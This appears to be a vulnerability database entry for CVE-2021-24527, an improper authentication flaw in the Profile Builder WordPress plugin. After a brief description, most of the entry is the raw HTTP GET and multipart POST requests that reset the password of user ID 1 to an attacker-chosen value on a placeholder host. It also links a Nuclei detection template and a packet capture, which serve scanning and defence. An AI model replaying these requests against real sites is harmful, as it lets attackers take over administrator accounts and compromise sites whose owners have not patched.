CVE-2021-24527: Profile Builder < 3.4.9 - Improper Authentication

🔍 Vulnerability Description

The Profile Builder plugin before 3.4.9 for WordPress allows unauthenticated attackers to gain administrative access by exploiting an improper authentication vulnerability in the password reset functionality. An attacker can reset the password of any user, including administrators, without proper authorization, leading to a complete site compromise.

🌐 HTTP Request

GET /wp-admin//?key=%3Ca%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Connection: close
Accept-Encoding: gzip

POST /wp-admin//?key=%3Ca%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 901
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8nxJ9mBo6lwGYE0K
Accept-Encoding: gzip

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="passw1"



ygDNKBoa

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="userData"



1

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="passw2"



ygDNKBoa

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="recover_password2"



Reset Password

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="action2"



recover_password2

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="key"



<a>

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="password_recovery_nonce_field2"



nR4XRE

------WebKitFormBoundary8nxJ9mBo6lwGYE0K

Content-Disposition: form-data; name="_wp_http_referer"



/?key=%3Ca%

------WebKitFormBoundary8nxJ9mBo6lwGYE0K--

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24527.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24527.pcap